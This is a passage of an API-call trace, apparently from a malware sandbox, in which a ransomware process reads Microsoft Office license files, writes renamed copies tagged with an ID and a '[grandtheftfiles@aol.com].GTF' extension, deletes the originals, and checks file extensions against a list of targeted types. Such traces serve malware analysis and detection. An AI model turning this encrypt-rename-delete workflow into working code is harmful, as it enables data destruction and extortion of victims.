	[0182.421] WriteFile (in: hFile=0x508, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0182.422] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.422] WriteFile (in: hFile=0x508, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x126, lpOverlapped=0x0) returned 1
	[0182.422] SetEndOfFile (hFile=0x508) returned 1
	[0182.423] CloseHandle (hObject=0x508) returned 1
	[0182.423] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.423] SetEndOfFile (hFile=0x42c) returned 1
	[0182.428] CloseHandle (hObject=0x42c) returned 1
	[0182.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms")) returned 1
	[0182.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91
	[0182.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91
	[0182.429] lstrlenW (lpString=".doc") returned 4
	[0182.429] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.429] lstrlenW (lpString=".docx") returned 5
	[0182.429] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.429] lstrlenW (lpString=".pdf") returned 4
	[0182.429] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.429] lstrlenW (lpString=".xls") returned 4
	[0182.429] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.429] lstrlenW (lpString=".xlsx") returned 5
	[0182.429] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.429] lstrlenW (lpString=".ppt") returned 4
	[0182.429] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91
	[0182.429] lstrlenW (lpString=".zip") returned 4
	[0182.429] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.429] lstrlenW (lpString=".rar") returned 4
	[0182.430] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.430] lstrlenW (lpString=".bz2") returned 4
	[0182.430] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.430] lstrlenW (lpString=".7z") returned 3
	[0182.430] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91
	[0182.430] lstrlenW (lpString=".dbf") returned 4
	[0182.430] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91
	[0182.430] lstrlenW (lpString=".1cd") returned 4
	[0182.430] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91
	[0182.430] lstrlenW (lpString=".jpg") returned 4
	[0182.430] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91
	[0182.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91
	[0182.430] lstrlenW (lpString=".doc") returned 4
	[0182.430] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.430] lstrlenW (lpString=".docx") returned 5
	[0182.430] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.430] lstrlenW (lpString=".pdf") returned 4
	[0182.430] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.430] lstrlenW (lpString=".xls") returned 4
	[0182.430] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.430] lstrlenW (lpString=".xlsx") returned 5
	[0182.430] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.430] lstrlenW (lpString=".ppt") returned 4
	[0182.430] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91
	[0182.430] lstrlenW (lpString=".zip") returned 4
	[0182.430] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.430] lstrlenW (lpString=".rar") returned 4
	[0182.430] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.430] lstrlenW (lpString=".bz2") returned 4
	[0182.430] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.430] lstrlenW (lpString=".7z") returned 3
	[0182.431] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91
	[0182.431] lstrlenW (lpString=".dbf") returned 4
	[0182.431] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91
	[0182.431] lstrlenW (lpString=".1cd") returned 4
	[0182.431] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91
	[0182.431] lstrlenW (lpString=".jpg") returned 4
	[0182.431] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.431] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.431] lstrlenW (lpString="OneNoteFreeR_Bypass-pl.xrm-ms") returned 29
	[0182.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.432] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=10651) returned 1
	[0182.432] CloseHandle (hObject=0x42c) returned 1
	[0182.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms")) returned 0x220
	[0182.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.432] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.432] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0182.433] GetLastError () returned 0x0
	[0182.433] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x299b, lpOverlapped=0x0) returned 1
	[0182.435] WriteFile (in: hFile=0x508, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0182.436] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.436] WriteFile (in: hFile=0x508, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0182.436] SetEndOfFile (hFile=0x508) returned 1
	[0182.436] CloseHandle (hObject=0x508) returned 1
	[0182.436] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.436] SetEndOfFile (hFile=0x42c) returned 1
	[0182.649] CloseHandle (hObject=0x42c) returned 1
	[0182.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms")) returned 1
	[0182.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79
	[0182.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79
	[0182.650] lstrlenW (lpString=".doc") returned 4
	[0182.650] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.650] lstrlenW (lpString=".docx") returned 5
	[0182.650] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.650] lstrlenW (lpString=".pdf") returned 4
	[0182.650] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.650] lstrlenW (lpString=".xls") returned 4
	[0182.650] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.650] lstrlenW (lpString=".xlsx") returned 5
	[0182.650] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.650] lstrlenW (lpString=".ppt") returned 4
	[0182.650] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79
	[0182.650] lstrlenW (lpString=".zip") returned 4
	[0182.650] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.650] lstrlenW (lpString=".rar") returned 4
	[0182.650] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.650] lstrlenW (lpString=".bz2") returned 4
	[0182.650] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.650] lstrlenW (lpString=".7z") returned 3
	[0182.650] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79
	[0182.650] lstrlenW (lpString=".dbf") returned 4
	[0182.651] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79
	[0182.651] lstrlenW (lpString=".1cd") returned 4
	[0182.651] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79
	[0182.651] lstrlenW (lpString=".jpg") returned 4
	[0182.651] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79
	[0182.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79
	[0182.651] lstrlenW (lpString=".doc") returned 4
	[0182.651] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.651] lstrlenW (lpString=".docx") returned 5
	[0182.651] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.651] lstrlenW (lpString=".pdf") returned 4
	[0182.651] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.651] lstrlenW (lpString=".xls") returned 4
	[0182.651] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.651] lstrlenW (lpString=".xlsx") returned 5
	[0182.651] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.651] lstrlenW (lpString=".ppt") returned 4
	[0182.651] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79
	[0182.651] lstrlenW (lpString=".zip") returned 4
	[0182.651] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.651] lstrlenW (lpString=".rar") returned 4
	[0182.651] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.651] lstrlenW (lpString=".bz2") returned 4
	[0182.651] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.651] lstrlenW (lpString=".7z") returned 3
	[0182.651] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79
	[0182.651] lstrlenW (lpString=".dbf") returned 4
	[0182.651] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79
	[0182.651] lstrlenW (lpString=".1cd") returned 4
	[0182.651] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms") returned 79
	[0182.652] lstrlenW (lpString=".jpg") returned 4
	[0182.652] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.652] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.652] lstrlenW (lpString="OneNoteR_Grace-ul-oob.xrm-ms") returned 28
	[0182.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.652] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=11599) returned 1
	[0182.652] CloseHandle (hObject=0x42c) returned 1
	[0182.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms")) returned 0x220
	[0182.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0182.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.653] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.653] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.654] GetLastError () returned 0x0
	[0182.654] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2d4f, lpOverlapped=0x0) returned 1
	[0182.656] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0182.657] ReadFile (in: hFile=0x42c, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.657] WriteFile (in: hFile=0x538, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x10c, lpOverlapped=0x0) returned 1
	[0182.657] SetEndOfFile (hFile=0x538) returned 1
	[0182.657] CloseHandle (hObject=0x538) returned 1
	[0182.657] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.657] SetEndOfFile (hFile=0x42c) returned 1
	[0182.660] CloseHandle (hObject=0x42c) returned 1
	[0182.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0182.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms")) returned 1
	[0182.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78
	[0182.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78
	[0182.661] lstrlenW (lpString=".doc") returned 4
	[0182.662] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.662] lstrlenW (lpString=".docx") returned 5
	[0182.662] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.662] lstrlenW (lpString=".pdf") returned 4
	[0182.662] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.662] lstrlenW (lpString=".xls") returned 4
	[0182.662] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.662] lstrlenW (lpString=".xlsx") returned 5
	[0182.662] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.662] lstrlenW (lpString=".ppt") returned 4
	[0182.662] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78
	[0182.662] lstrlenW (lpString=".zip") returned 4
	[0182.662] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.662] lstrlenW (lpString=".rar") returned 4
	[0182.662] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.662] lstrlenW (lpString=".bz2") returned 4
	[0182.662] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.662] lstrlenW (lpString=".7z") returned 3
	[0182.662] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78
	[0182.662] lstrlenW (lpString=".dbf") returned 4
	[0182.662] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78
	[0182.662] lstrlenW (lpString=".1cd") returned 4
	[0182.662] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78
	[0182.662] lstrlenW (lpString=".jpg") returned 4
	[0182.662] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78
	[0182.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78
	[0182.662] lstrlenW (lpString=".doc") returned 4
	[0182.662] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.662] lstrlenW (lpString=".docx") returned 5
	[0182.662] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.662] lstrlenW (lpString=".pdf") returned 4
	[0182.663] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.663] lstrlenW (lpString=".xls") returned 4
	[0182.663] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.663] lstrlenW (lpString=".xlsx") returned 5
	[0182.663] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.663] lstrlenW (lpString=".ppt") returned 4
	[0182.663] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78
	[0182.663] lstrlenW (lpString=".zip") returned 4
	[0182.663] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.663] lstrlenW (lpString=".rar") returned 4
	[0182.663] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.663] lstrlenW (lpString=".bz2") returned 4
	[0182.663] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.663] lstrlenW (lpString=".7z") returned 3
	[0182.663] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78
	[0182.663] lstrlenW (lpString=".dbf") returned 4
	[0182.663] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78
	[0182.663] lstrlenW (lpString=".1cd") returned 4
	[0182.663] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78
	[0182.663] lstrlenW (lpString=".jpg") returned 4
	[0182.663] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.663] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0182.663] lstrlenW (lpString="OneNoteR_OEM_Perp-pl.xrm-ms") returned 27
	[0182.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0182.664] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=10643) returned 1
	[0182.664] CloseHandle (hObject=0x42c) returned 1
	[0182.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms")) returned 0x220
	[0182.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
